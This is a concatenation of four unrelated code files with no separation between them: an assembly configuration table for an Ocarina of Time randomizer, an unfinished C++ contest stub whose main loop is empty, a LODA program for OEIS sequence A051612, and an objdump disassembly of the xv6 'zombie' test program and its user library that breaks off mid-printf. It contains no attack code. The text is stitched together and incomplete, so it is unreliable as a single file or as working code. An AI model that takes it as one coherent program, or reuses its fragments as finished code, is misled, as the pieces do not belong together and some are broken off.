;================================================================================================== ; Settings and tables which the front-end may write ;================================================================================================== ; This is used to determine if and how the cosmetics can be patched ; It this moves then the version will no longer be valid, so it is important that this does not move COSMETIC_CONTEXT: COSMETIC_FORMAT_VERSION: .word 0x1F073FD8 CFG_MAGIC_COLOR: .halfword 0x0000, 0x00FF, 0x0000 CFG_HEART_COLOR: .halfword 0x00FF, 0x0046, 0x0032 CFG_A_BUTTON_COLOR: .halfword 0x005A, 0x005A, 0x00FF CFG_B_BUTTON_COLOR: .halfword 0x0000, 0x0096, 0x0000 CFG_C_BUTTON_COLOR: .halfword 0x00FF, 0x00A0, 0x0000 CFG_TEXT_CURSOR_COLOR: .halfword 0x0000, 0x0050, 0x00C8 CFG_SHOP_CURSOR_COLOR: .halfword 0x0000, 0x0050, 0x00FF CFG_A_NOTE_COLOR: .halfword 0x0050, 0x0096, 0x00FF CFG_C_NOTE_COLOR: .halfword 0x00FF, 0x00FF, 0x0032 CFG_BOOM_TRAIL_INNER_COLOR: .byte 0xFF, 0xFF, 0x64 CFG_BOOM_TRAIL_OUTER_COLOR: .byte 0xFF, 0xFF, 0x64 CFG_BOMBCHU_TRAIL_INNER_COLOR: .byte 0xFA, 0x00, 0x00 CFG_BOMBCHU_TRAIL_OUTER_COLOR: .byte 0xFA, 0x00, 0x00 CFG_DISPLAY_DPAD: .byte 0x01 CFG_RAINBOW_SWORD_INNER_ENABLED: .byte 0x00 CFG_RAINBOW_SWORD_OUTER_ENABLED: .byte 0x00 CFG_RAINBOW_BOOM_TRAIL_INNER_ENABLED: .byte 0x00 CFG_RAINBOW_BOOM_TRAIL_OUTER_ENABLED: .byte 0x00 CFG_RAINBOW_BOMBCHU_TRAIL_INNER_ENABLED: .byte 0x00 CFG_RAINBOW_BOMBCHU_TRAIL_OUTER_ENABLED: .byte 0x00 CFG_RAINBOW_NAVI_IDLE_INNER_ENABLED: .byte 0x00 CFG_RAINBOW_NAVI_IDLE_OUTER_ENABLED: .byte 0x00 CFG_RAINBOW_NAVI_ENEMY_INNER_ENABLED: .byte 0x00 CFG_RAINBOW_NAVI_ENEMY_OUTER_ENABLED: .byte 0x00 CFG_RAINBOW_NAVI_NPC_INNER_ENABLED: .byte 0x00 CFG_RAINBOW_NAVI_NPC_OUTER_ENABLED: .byte 0x00 CFG_RAINBOW_NAVI_PROP_INNER_ENABLED: .byte 0x00 CFG_RAINBOW_NAVI_PROP_OUTER_ENABLED: .byte 0x00 .align 4 ; Initial Save Data table: ; ; This table describes what extra data should be written when a new save file is created. It must be terminated with ; four 0x00 bytes (which will happen by default as long as you don't fill the allotted space). ; ; Row format (4 bytes): ; AAAATTVV ; AAAA = Offset from the start of the save data ; TT = Type (0x00 = or value with current value, 0x01 = set the byte to the given value) ; VV = Value to write to the save .area 0x400, 0 INITIAL_SAVE_DATA: .endarea .area 0x20, 0 EXTENDED_OBJECT_TABLE: .endarea BOMBCHUS_IN_LOGIC: .word 0x00 RAINBOW_BRIDGE_CONDITION: .word 0x00 ; 0 = Open ; 1 = Medallions ; 2 = Dungeons ; 3 = Stones ; 4 = Vanilla ; 5 = Tokens LACS_CONDITION: .word 0x00 ; 0 = Vanilla ; 1 = Medallions ; 2 = Dungeons ; 3 = Stones GOSSIP_HINT_CONDITION: .word 0x00 ; 0 = Mask of Truth ; 1 = Stone of Agony ; 2 = No Requirements FREE_SCARECROW_ENABLED: .word 0x00 RAINBOW_BRIDGE_COUNT: .halfword 0x64 LACS_CONDITION_COUNT: .halfword 0x00 JABU_ELEVATOR_ENABLE: .byte 0x00 OCARINAS_SHUFFLED: .byte 0x00 FAST_CHESTS: .byte 0x01 SHUFFLE_COWS: .byte 0x00 SONGS_AS_ITEMS: .byte 0x00 WINDMILL_SONG_ID: .byte 0x00 WINDMILL_TEXT_ID: .byte 0x00 MALON_TEXT_ID: .byte 0x00 DISABLE_TIMERS: .byte 0x00 NO_FOG_STATE: .byte 0x00 DUNGEONS_SHUFFLED: .byte 0x00 OVERWORLD_SHUFFLED: .byte 0x00 FAST_BUNNY_HOOD_ENABLED: .byte 0x00 .align 4
#include <bits/stdc++.h> #define CYC(i, a, b) for(int i=a; i<b; i++) #define CYCI(i, a, b) for(auto i=a; i!=b; ++i) using namespace std; typedef vector<int> vi; typedef vector<bool> vb; typedef vector<long long> vll; typedef long long ll; typedef pair<int, int> pii; typedef pair<long, long> pll; int main(){ ios_base::sync_with_stdio(false); cin.tie(NULL); int N; cin>>N; vb boards[N]; char temp; CYC(i, 0, N){ boards[i].resize(N); CYC(j, 0, N){ cin>>temp; if(temp=='A') boards[i][j]=true; else boards[i][j]=false; } } CYC(i, 0, N){ CYC(j, i, N){ } } return 0; }
; A051612: a(n) = sigma(n) - phi(n). ; 0,2,2,5,2,10,2,11,7,14,2,24,2,18,16,23,2,33,2,34,20,26,2,52,11,30,22,44,2,64,2,47,28,38,24,79,2,42,32,74,2,84,2,64,54,50,2,108,15,73,40,74,2,102,32,96,44,62,2,152,2,66,68,95,36,124,2,94,52,120,2,171,2,78,84,104,36,144,2,154,67,86,2,200,44,90,64,140,2,210,40,124,68,98,48,220,2,129,96,177 mov $1,$0 seq $0,203 ; a(n) = sigma(n), the sum of the divisors of n. Also called sigma_1(n). seq $1,10 ; Euler totient function phi(n): count numbers <= n and prime to n. sub $0,$1
_zombie: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "stat.h" #include "user.h" int main(void) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 83 e4 f0 and $0xfffffff0,%esp 6: 83 ec 10 sub $0x10,%esp if(fork() > 0) 9: e8 75 02 00 00 call 283 <fork> e: 85 c0 test %eax,%eax 10: 7e 0c jle 1e <main+0x1e> sleep(5); // Let child exit before parent. 12: c7 04 24 05 00 00 00 movl $0x5,(%esp) 19: e8 fd 02 00 00 call 31b <sleep> exit(); 1e: e8 68 02 00 00 call 28b <exit> 00000023 <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 23: 55 push %ebp 24: 89 e5 mov %esp,%ebp 26: 57 push %edi 27: 53 push %ebx asm volatile("cld; rep stosb" : 28: 8b 4d 08 mov 0x8(%ebp),%ecx 2b: 8b 55 10 mov 0x10(%ebp),%edx 2e: 8b 45 0c mov 0xc(%ebp),%eax 31: 89 cb mov %ecx,%ebx 33: 89 df mov %ebx,%edi 35: 89 d1 mov %edx,%ecx 37: fc cld 38: f3 aa rep stos %al,%es:(%edi) 3a: 89 ca mov %ecx,%edx 3c: 89 fb mov %edi,%ebx 3e: 89 5d 08 mov %ebx,0x8(%ebp) 41: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 44: 5b pop %ebx 45: 5f pop %edi 46: 5d pop %ebp 47: c3 ret 00000048 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 48: 55 push %ebp 49: 89 e5 mov %esp,%ebp 4b: 83 ec 10 sub $0x10,%esp char *os; os = s; 4e: 8b 45 08 mov 0x8(%ebp),%eax 51: 89 45 fc mov %eax,-0x4(%ebp) while((*s++ = *t++) != 0) 54: 90 nop 55: 8b 45 08 mov 0x8(%ebp),%eax 58: 8d 50 01 lea 0x1(%eax),%edx 5b: 89 55 08 mov %edx,0x8(%ebp) 5e: 8b 55 0c mov 0xc(%ebp),%edx 61: 8d 4a 01 lea 0x1(%edx),%ecx 64: 89 4d 0c mov %ecx,0xc(%ebp) 67: 0f b6 12 movzbl (%edx),%edx 6a: 88 10 mov %dl,(%eax) 6c: 0f b6 00 movzbl (%eax),%eax 6f: 84 c0 test %al,%al 71: 75 e2 jne 55 <strcpy+0xd> ; return os; 73: 8b 45 fc mov -0x4(%ebp),%eax } 76: c9 leave 77: c3 ret 00000078 <strcmp>: int strcmp(const char *p, const char *q) { 78: 55 push %ebp 79: 89 e5 mov %esp,%ebp while(*p && *p == *q) 7b: eb 08 jmp 85 <strcmp+0xd> p++, q++; 7d: 83 45 08 01 addl $0x1,0x8(%ebp) 81: 83 45 0c 01 addl $0x1,0xc(%ebp) } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 85: 8b 45 08 mov 0x8(%ebp),%eax 88: 0f b6 00 movzbl (%eax),%eax 8b: 84 c0 test %al,%al 8d: 74 10 je 9f <strcmp+0x27> 8f: 8b 45 08 mov 0x8(%ebp),%eax 92: 0f b6 10 movzbl (%eax),%edx 95: 8b 45 0c mov 0xc(%ebp),%eax 98: 0f b6 00 movzbl (%eax),%eax 9b: 38 c2 cmp %al,%dl 9d: 74 de je 7d <strcmp+0x5> p++, q++; return (uchar)*p - (uchar)*q; 9f: 8b 45 08 mov 0x8(%ebp),%eax a2: 0f b6 00 movzbl (%eax),%eax a5: 0f b6 d0 movzbl %al,%edx a8: 8b 45 0c mov 0xc(%ebp),%eax ab: 0f b6 00 movzbl (%eax),%eax ae: 0f b6 c0 movzbl %al,%eax b1: 29 c2 sub %eax,%edx b3: 89 d0 mov %edx,%eax } b5: 5d pop %ebp b6: c3 ret 000000b7 <strlen>: uint strlen(char *s) { b7: 55 push %ebp b8: 89 e5 mov %esp,%ebp ba: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) bd: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) c4: eb 04 jmp ca <strlen+0x13> c6: 83 45 fc 01 addl $0x1,-0x4(%ebp) ca: 8b 55 fc mov -0x4(%ebp),%edx cd: 8b 45 08 mov 0x8(%ebp),%eax d0: 01 d0 add %edx,%eax d2: 0f b6 00 movzbl (%eax),%eax d5: 84 c0 test %al,%al d7: 75 ed jne c6 <strlen+0xf> ; return n; d9: 8b 45 fc mov -0x4(%ebp),%eax } dc: c9 leave dd: c3 ret 000000de <memset>: void* memset(void *dst, int c, uint n) { de: 55 push %ebp df: 89 e5 mov %esp,%ebp e1: 83 ec 0c sub $0xc,%esp stosb(dst, c, n); e4: 8b 45 10 mov 0x10(%ebp),%eax e7: 89 44 24 08 mov %eax,0x8(%esp) eb: 8b 45 0c mov 0xc(%ebp),%eax ee: 89 44 24 04 mov %eax,0x4(%esp) f2: 8b 45 08 mov 0x8(%ebp),%eax f5: 89 04 24 mov %eax,(%esp) f8: e8 26 ff ff ff call 23 <stosb> return dst; fd: 8b 45 08 mov 0x8(%ebp),%eax } 100: c9 leave 101: c3 ret 00000102 <strchr>: char* strchr(const char *s, char c) { 102: 55 push %ebp 103: 89 e5 mov %esp,%ebp 105: 83 ec 04 sub $0x4,%esp 108: 8b 45 0c mov 0xc(%ebp),%eax 10b: 88 45 fc mov %al,-0x4(%ebp) for(; *s; s++) 10e: eb 14 jmp 124 <strchr+0x22> if(*s == c) 110: 8b 45 08 mov 0x8(%ebp),%eax 113: 0f b6 00 movzbl (%eax),%eax 116: 3a 45 fc cmp -0x4(%ebp),%al 119: 75 05 jne 120 <strchr+0x1e> return (char*)s; 11b: 8b 45 08 mov 0x8(%ebp),%eax 11e: eb 13 jmp 133 <strchr+0x31> } char* strchr(const char *s, char c) { for(; *s; s++) 120: 83 45 08 01 addl $0x1,0x8(%ebp) 124: 8b 45 08 mov 0x8(%ebp),%eax 127: 0f b6 00 movzbl (%eax),%eax 12a: 84 c0 test %al,%al 12c: 75 e2 jne 110 <strchr+0xe> if(*s == c) return (char*)s; return 0; 12e: b8 00 00 00 00 mov $0x0,%eax } 133: c9 leave 134: c3 ret 00000135 <gets>: char* gets(char *buf, int max) { 135: 55 push %ebp 136: 89 e5 mov %esp,%ebp 138: 83 ec 28 sub $0x28,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 13b: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 142: eb 4c jmp 190 <gets+0x5b> cc = read(0, &c, 1); 144: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 14b: 00 14c: 8d 45 ef lea -0x11(%ebp),%eax 14f: 89 44 24 04 mov %eax,0x4(%esp) 153: c7 04 24 00 00 00 00 movl $0x0,(%esp) 15a: e8 44 01 00 00 call 2a3 <read> 15f: 89 45 f0 mov %eax,-0x10(%ebp) if(cc < 1) 162: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 166: 7f 02 jg 16a <gets+0x35> break; 168: eb 31 jmp 19b <gets+0x66> buf[i++] = c; 16a: 8b 45 f4 mov -0xc(%ebp),%eax 16d: 8d 50 01 lea 0x1(%eax),%edx 170: 89 55 f4 mov %edx,-0xc(%ebp) 173: 89 c2 mov %eax,%edx 175: 8b 45 08 mov 0x8(%ebp),%eax 178: 01 c2 add %eax,%edx 17a: 0f b6 45 ef movzbl -0x11(%ebp),%eax 17e: 88 02 mov %al,(%edx) if(c == '\n' || c == '\r') 180: 0f b6 45 ef movzbl -0x11(%ebp),%eax 184: 3c 0a cmp $0xa,%al 186: 74 13 je 19b <gets+0x66> 188: 0f b6 45 ef movzbl -0x11(%ebp),%eax 18c: 3c 0d cmp $0xd,%al 18e: 74 0b je 19b <gets+0x66> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 190: 8b 45 f4 mov -0xc(%ebp),%eax 193: 83 c0 01 add $0x1,%eax 196: 3b 45 0c cmp 0xc(%ebp),%eax 199: 7c a9 jl 144 <gets+0xf> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 19b: 8b 55 f4 mov -0xc(%ebp),%edx 19e: 8b 45 08 mov 0x8(%ebp),%eax 1a1: 01 d0 add %edx,%eax 1a3: c6 00 00 movb $0x0,(%eax) return buf; 1a6: 8b 45 08 mov 0x8(%ebp),%eax } 1a9: c9 leave 1aa: c3 ret 000001ab <stat>: int stat(char *n, struct stat *st) { 1ab: 55 push %ebp 1ac: 89 e5 mov %esp,%ebp 1ae: 83 ec 28 sub $0x28,%esp int fd; int r; fd = open(n, O_RDONLY); 1b1: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 1b8: 00 1b9: 8b 45 08 mov 0x8(%ebp),%eax 1bc: 89 04 24 mov %eax,(%esp) 1bf: e8 07 01 00 00 call 2cb <open> 1c4: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0) 1c7: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 1cb: 79 07 jns 1d4 <stat+0x29> return -1; 1cd: b8 ff ff ff ff mov $0xffffffff,%eax 1d2: eb 23 jmp 1f7 <stat+0x4c> r = fstat(fd, st); 1d4: 8b 45 0c mov 0xc(%ebp),%eax 1d7: 89 44 24 04 mov %eax,0x4(%esp) 1db: 8b 45 f4 mov -0xc(%ebp),%eax 1de: 89 04 24 mov %eax,(%esp) 1e1: e8 fd 00 00 00 call 2e3 <fstat> 1e6: 89 45 f0 mov %eax,-0x10(%ebp) close(fd); 1e9: 8b 45 f4 mov -0xc(%ebp),%eax 1ec: 89 04 24 mov %eax,(%esp) 1ef: e8 bf 00 00 00 call 2b3 <close> return r; 1f4: 8b 45 f0 mov -0x10(%ebp),%eax } 1f7: c9 leave 1f8: c3 ret 000001f9 <atoi>: int atoi(const char *s) { 1f9: 55 push %ebp 1fa: 89 e5 mov %esp,%ebp 1fc: 83 ec 10 sub $0x10,%esp int n; n = 0; 1ff: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while('0' <= *s && *s <= '9') 206: eb 25 jmp 22d <atoi+0x34> n = n*10 + *s++ - '0'; 208: 8b 55 fc mov -0x4(%ebp),%edx 20b: 89 d0 mov %edx,%eax 20d: c1 e0 02 shl $0x2,%eax 210: 01 d0 add %edx,%eax 212: 01 c0 add %eax,%eax 214: 89 c1 mov %eax,%ecx 216: 8b 45 08 mov 0x8(%ebp),%eax 219: 8d 50 01 lea 0x1(%eax),%edx 21c: 89 55 08 mov %edx,0x8(%ebp) 21f: 0f b6 00 movzbl (%eax),%eax 222: 0f be c0 movsbl %al,%eax 225: 01 c8 add %ecx,%eax 227: 83 e8 30 sub $0x30,%eax 22a: 89 45 fc mov %eax,-0x4(%ebp) atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 22d: 8b 45 08 mov 0x8(%ebp),%eax 230: 0f b6 00 movzbl (%eax),%eax 233: 3c 2f cmp $0x2f,%al 235: 7e 0a jle 241 <atoi+0x48> 237: 8b 45 08 mov 0x8(%ebp),%eax 23a: 0f b6 00 movzbl (%eax),%eax 23d: 3c 39 cmp $0x39,%al 23f: 7e c7 jle 208 <atoi+0xf> n = n*10 + *s++ - '0'; return n; 241: 8b 45 fc mov -0x4(%ebp),%eax } 244: c9 leave 245: c3 ret 00000246 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 246: 55 push %ebp 247: 89 e5 mov %esp,%ebp 249: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 24c: 8b 45 08 mov 0x8(%ebp),%eax 24f: 89 45 fc mov %eax,-0x4(%ebp) src = vsrc; 252: 8b 45 0c mov 0xc(%ebp),%eax 255: 89 45 f8 mov %eax,-0x8(%ebp) while(n-- > 0) 258: eb 17 jmp 271 <memmove+0x2b> *dst++ = *src++; 25a: 8b 45 fc mov -0x4(%ebp),%eax 25d: 8d 50 01 lea 0x1(%eax),%edx 260: 89 55 fc mov %edx,-0x4(%ebp) 263: 8b 55 f8 mov -0x8(%ebp),%edx 266: 8d 4a 01 lea 0x1(%edx),%ecx 269: 89 4d f8 mov %ecx,-0x8(%ebp) 26c: 0f b6 12 movzbl (%edx),%edx 26f: 88 10 mov %dl,(%eax) { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 271: 8b 45 10 mov 0x10(%ebp),%eax 274: 8d 50 ff lea -0x1(%eax),%edx 277: 89 55 10 mov %edx,0x10(%ebp) 27a: 85 c0 test %eax,%eax 27c: 7f dc jg 25a <memmove+0x14> *dst++ = *src++; return vdst; 27e: 8b 45 08 mov 0x8(%ebp),%eax } 281: c9 leave 282: c3 ret 00000283 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 283: b8 01 00 00 00 mov $0x1,%eax 288: cd 40 int $0x40 28a: c3 ret 0000028b <exit>: SYSCALL(exit) 28b: b8 02 00 00 00 mov $0x2,%eax 290: cd 40 int $0x40 292: c3 ret 00000293 <wait>: SYSCALL(wait) 293: b8 03 00 00 00 mov $0x3,%eax 298: cd 40 int $0x40 29a: c3 ret 0000029b <pipe>: SYSCALL(pipe) 29b: b8 04 00 00 00 mov $0x4,%eax 2a0: cd 40 int $0x40 2a2: c3 ret 000002a3 <read>: SYSCALL(read) 2a3: b8 05 00 00 00 mov $0x5,%eax 2a8: cd 40 int $0x40 2aa: c3 ret 000002ab <write>: SYSCALL(write) 2ab: b8 10 00 00 00 mov $0x10,%eax 2b0: cd 40 int $0x40 2b2: c3 ret 000002b3 <close>: SYSCALL(close) 2b3: b8 15 00 00 00 mov $0x15,%eax 2b8: cd 40 int $0x40 2ba: c3 ret 000002bb <kill>: SYSCALL(kill) 2bb: b8 06 00 00 00 mov $0x6,%eax 2c0: cd 40 int $0x40 2c2: c3 ret 000002c3 <exec>: SYSCALL(exec) 2c3: b8 07 00 00 00 mov $0x7,%eax 2c8: cd 40 int $0x40 2ca: c3 ret 000002cb <open>: SYSCALL(open) 2cb: b8 0f 00 00 00 mov $0xf,%eax 2d0: cd 40 int $0x40 2d2: c3 ret 000002d3 <mknod>: SYSCALL(mknod) 2d3: b8 11 00 00 00 mov $0x11,%eax 2d8: cd 40 int $0x40 2da: c3 ret 000002db <unlink>: SYSCALL(unlink) 2db: b8 12 00 00 00 mov $0x12,%eax 2e0: cd 40 int $0x40 2e2: c3 ret 000002e3 <fstat>: SYSCALL(fstat) 2e3: b8 08 00 00 00 mov $0x8,%eax 2e8: cd 40 int $0x40 2ea: c3 ret 000002eb <link>: SYSCALL(link) 2eb: b8 13 00 00 00 mov $0x13,%eax 2f0: cd 40 int $0x40 2f2: c3 ret 000002f3 <mkdir>: SYSCALL(mkdir) 2f3: b8 14 00 00 00 mov $0x14,%eax 2f8: cd 40 int $0x40 2fa: c3 ret 000002fb <chdir>: SYSCALL(chdir) 2fb: b8 09 00 00 00 mov $0x9,%eax 300: cd 40 int $0x40 302: c3 ret 00000303 <dup>: SYSCALL(dup) 303: b8 0a 00 00 00 mov $0xa,%eax 308: cd 40 int $0x40 30a: c3 ret 0000030b <getpid>: SYSCALL(getpid) 30b: b8 0b 00 00 00 mov $0xb,%eax 310: cd 40 int $0x40 312: c3 ret 00000313 <sbrk>: SYSCALL(sbrk) 313: b8 0c 00 00 00 mov $0xc,%eax 318: cd 40 int $0x40 31a: c3 ret 0000031b <sleep>: SYSCALL(sleep) 31b: b8 0d 00 00 00 mov $0xd,%eax 320: cd 40 int $0x40 322: c3 ret 00000323 <uptime>: 323: b8 0e 00 00 00 mov $0xe,%eax 328: cd 40 int $0x40 32a: c3 ret 0000032b <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 32b: 55 push %ebp 32c: 89 e5 mov %esp,%ebp 32e: 83 ec 18 sub $0x18,%esp 331: 8b 45 0c mov 0xc(%ebp),%eax 334: 88 45 f4 mov %al,-0xc(%ebp) write(fd, &c, 1); 337: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 33e: 00 33f: 8d 45 f4 lea -0xc(%ebp),%eax 342: 89 44 24 04 mov %eax,0x4(%esp) 346: 8b 45 08 mov 0x8(%ebp),%eax 349: 89 04 24 mov %eax,(%esp) 34c: e8 5a ff ff ff call 2ab <write> } 351: c9 leave 352: c3 ret 00000353 <printint>: static void printint(int fd, int xx, int base, int sgn) { 353: 55 push %ebp 354: 89 e5 mov %esp,%ebp 356: 56 push %esi 357: 53 push %ebx 358: 83 ec 30 sub $0x30,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 35b: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) if(sgn && xx < 0){ 362: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 366: 74 17 je 37f <printint+0x2c> 368: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 36c: 79 11 jns 37f <printint+0x2c> neg = 1; 36e: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) x = -xx; 375: 8b 45 0c mov 0xc(%ebp),%eax 378: f7 d8 neg %eax 37a: 89 45 ec mov %eax,-0x14(%ebp) 37d: eb 06 jmp 385 <printint+0x32> } else { x = xx; 37f: 8b 45 0c mov 0xc(%ebp),%eax 382: 89 45 ec mov %eax,-0x14(%ebp) } i = 0; 385: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) do{ buf[i++] = digits[x % base]; 38c: 8b 4d f4 mov -0xc(%ebp),%ecx 38f: 8d 41 01 lea 0x1(%ecx),%eax 392: 89 45 f4 mov %eax,-0xc(%ebp) 395: 8b 5d 10 mov 0x10(%ebp),%ebx 398: 8b 45 ec mov -0x14(%ebp),%eax 39b: ba 00 00 00 00 mov $0x0,%edx 3a0: f7 f3 div %ebx 3a2: 89 d0 mov %edx,%eax 3a4: 0f b6 80 24 0a 00 00 movzbl 0xa24(%eax),%eax 3ab: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1) }while((x /= base) != 0); 3af: 8b 75 10 mov 0x10(%ebp),%esi 3b2: 8b 45 ec mov -0x14(%ebp),%eax 3b5: ba 00 00 00 00 mov $0x0,%edx 3ba: f7 f6 div %esi 3bc: 89 45 ec mov %eax,-0x14(%ebp) 3bf: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 3c3: 75 c7 jne 38c <printint+0x39> if(neg) 3c5: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 3c9: 74 10 je 3db <printint+0x88> buf[i++] = '-'; 3cb: 8b 45 f4 mov -0xc(%ebp),%eax 3ce: 8d 50 01 lea 0x1(%eax),%edx 3d1: 89 55 f4 mov %edx,-0xc(%ebp) 3d4: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1) while(--i >= 0) 3d9: eb 1f jmp 3fa <printint+0xa7> 3db: eb 1d jmp 3fa <printint+0xa7> putc(fd, buf[i]); 3dd: 8d 55 dc lea -0x24(%ebp),%edx 3e0: 8b 45 f4 mov -0xc(%ebp),%eax 3e3: 01 d0 add %edx,%eax 3e5: 0f b6 00 movzbl (%eax),%eax 3e8: 0f be c0 movsbl %al,%eax 3eb: 89 44 24 04 mov %eax,0x4(%esp) 3ef: 8b 45 08 mov 0x8(%ebp),%eax 3f2: 89 04 24 mov %eax,(%esp) 3f5: e8 31 ff ff ff call 32b <putc> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 3fa: 83 6d f4 01 subl $0x1,-0xc(%ebp) 3fe: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 402: 79 d9 jns 3dd <printint+0x8a> putc(fd, buf[i]); } 404: 83 c4 30 add $0x30,%esp 407: 5b pop %ebx 408: 5e pop %esi 409: 5d pop %ebp 40a: c3 ret 0000040b <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 40b: 55 push %ebp 40c: 89 e5 mov %esp,%ebp 40e: 83 ec 38 sub $0x38,%esp char *s; int c, i, state; uint *ap; state = 0; 411: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) ap = (uint*)(void*)&fmt + 1; 418: 8d 45 0c lea 0xc(%ebp),%eax 41b: 83 c0 04 add $0x4,%eax 41e: 89 45 e8 mov %eax,-0x18(%ebp) for(i = 0; fmt[i]; i++){ 421: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 428: e9 7c 01 00 00 jmp 5a9 <printf+0x19e> c = fmt[i] & 0xff; 42d: 8b 55 0c mov 0xc(%ebp),%edx 430: 8b 45 f0 mov -0x10(%ebp),%eax 433: 01 d0 add %edx,%eax 435: 0f b6 00 movzbl (%eax),%eax 438: 0f be c0 movsbl %al,%eax 43b: 25 ff 00 00 00 and $0xff,%eax 440: 89 45 e4 mov %eax,-0x1c(%ebp) if(state == 0){ 443: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 447: 75 2c jne 475 <printf+0x6a> if(c == '%'){ 449: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 44d: 75 0c jne 45b <printf+0x50> state = '%'; 44f: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp) 456: e9 4a 01 00 00 jmp 5a5 <printf+0x19a> } else { putc(fd, c); 45b: 8b 45 e4 mov -0x1c(%ebp),%eax 45e: 0f be c0 movsbl %al,%eax 461: 89 44 24 04 mov %eax,0x4(%esp) 465: 8b 45 08 mov 0x8(%ebp),%eax 468: 89 04 24 mov %eax,(%esp) 46b: e8 bb fe ff ff call 32b <putc> 470: e9 30 01 00 00 jmp 5a5 <printf+0x19a> } } else if(state == '%'){ 475: 83 7d ec 25 cmpl $0x25,-0x14(%ebp) 479: 0f 85 26 01 00 00 jne 5a5 <printf+0x19a> if(c == 'd'){ 47f: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp) 483: 75 2d jne 4b2 <printf+0xa7> printint(fd, *ap, 10, 1); 485: 8b 45 e8 mov -0x18(%ebp),%eax 488: 8b 00 mov (%eax),%eax 48a: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp) 491: 00 492: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp) 499: 00 49a: 89 44 24 04 mov %eax,0x4(%esp) 49e: 8b 45 08 mov 0x8(%ebp),%eax 4a1: 89 04 24 mov %eax,(%esp) 4a4: e8 aa fe ff ff call 353 <printint> ap++; 4a9: 83 45 e8 04 addl $0x4,-0x18(%ebp) 4ad: e9 ec 00 00 00 jmp 59e <printf+0x193> } else if(c == 'x' || c == 'p'){ 4b2: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp) 4b6: 74 06 je 4be <printf+0xb3> 4b8: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp) 4bc: 75 2d jne 4eb <printf+0xe0> printint(fd, *ap, 16, 0); 4be: 8b 45 e8 mov -0x18(%ebp),%eax 4c1: 8b 00 mov (%eax),%eax 4c3: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp) 4ca: 00 4cb: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 4d2: 00 4d3: 89 44 24 04 mov %eax,0x4(%esp) 4d7: 8b 45 08 mov 0x8(%ebp),%eax 4da: 89 04 24 mov %eax,(%esp) 4dd: e8 71 fe ff ff call 353 <printint> ap++; 4e2: 83 45 e8 04 addl $0x4,-0x18(%ebp) 4e6: e9 b3 00 00 00 jmp 59e <printf+0x193> } else if(c == 's'){ 4eb: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp) 4ef: 75 45 jne 536 <printf+0x12b> s = (char*)*ap; 4f1: 8b 45 e8 mov -0x18(%ebp),%eax 4f4: 8b 00 mov (%eax),%eax 4f6: 89 45 f4 mov %eax,-0xc(%ebp) ap++; 4f9: 83 45 e8 04 addl $0x4,-0x18(%ebp) if(s == 0) 4fd: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 501: 75 09 jne 50c <printf+0x101> s = "(null)"; 503: c7 45 f4 d7 07 00 00 movl $0x7d7,-0xc(%ebp) while(*s != 0){ 50a: eb 1e jmp 52a <printf+0x11f> 50c: eb 1c jmp 52a <printf+0x11f> putc(fd, *s); 50e: 8b 45 f4 mov -0xc(%ebp),%eax 511: 0f b6 00 movzbl (%eax),%eax 514: 0f be c0 movsbl %al,%eax 517: 89 44 24 04 mov %eax,0x4(%esp) 51b: 8b 45 08 mov 0x8(%ebp),%eax 51e: 89 04 24 mov %eax,(%esp) 521: e8 05 fe ff ff call 32b <putc> s++; 526: 83 45 f4 01 addl $0x1,-0xc(%ebp) } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 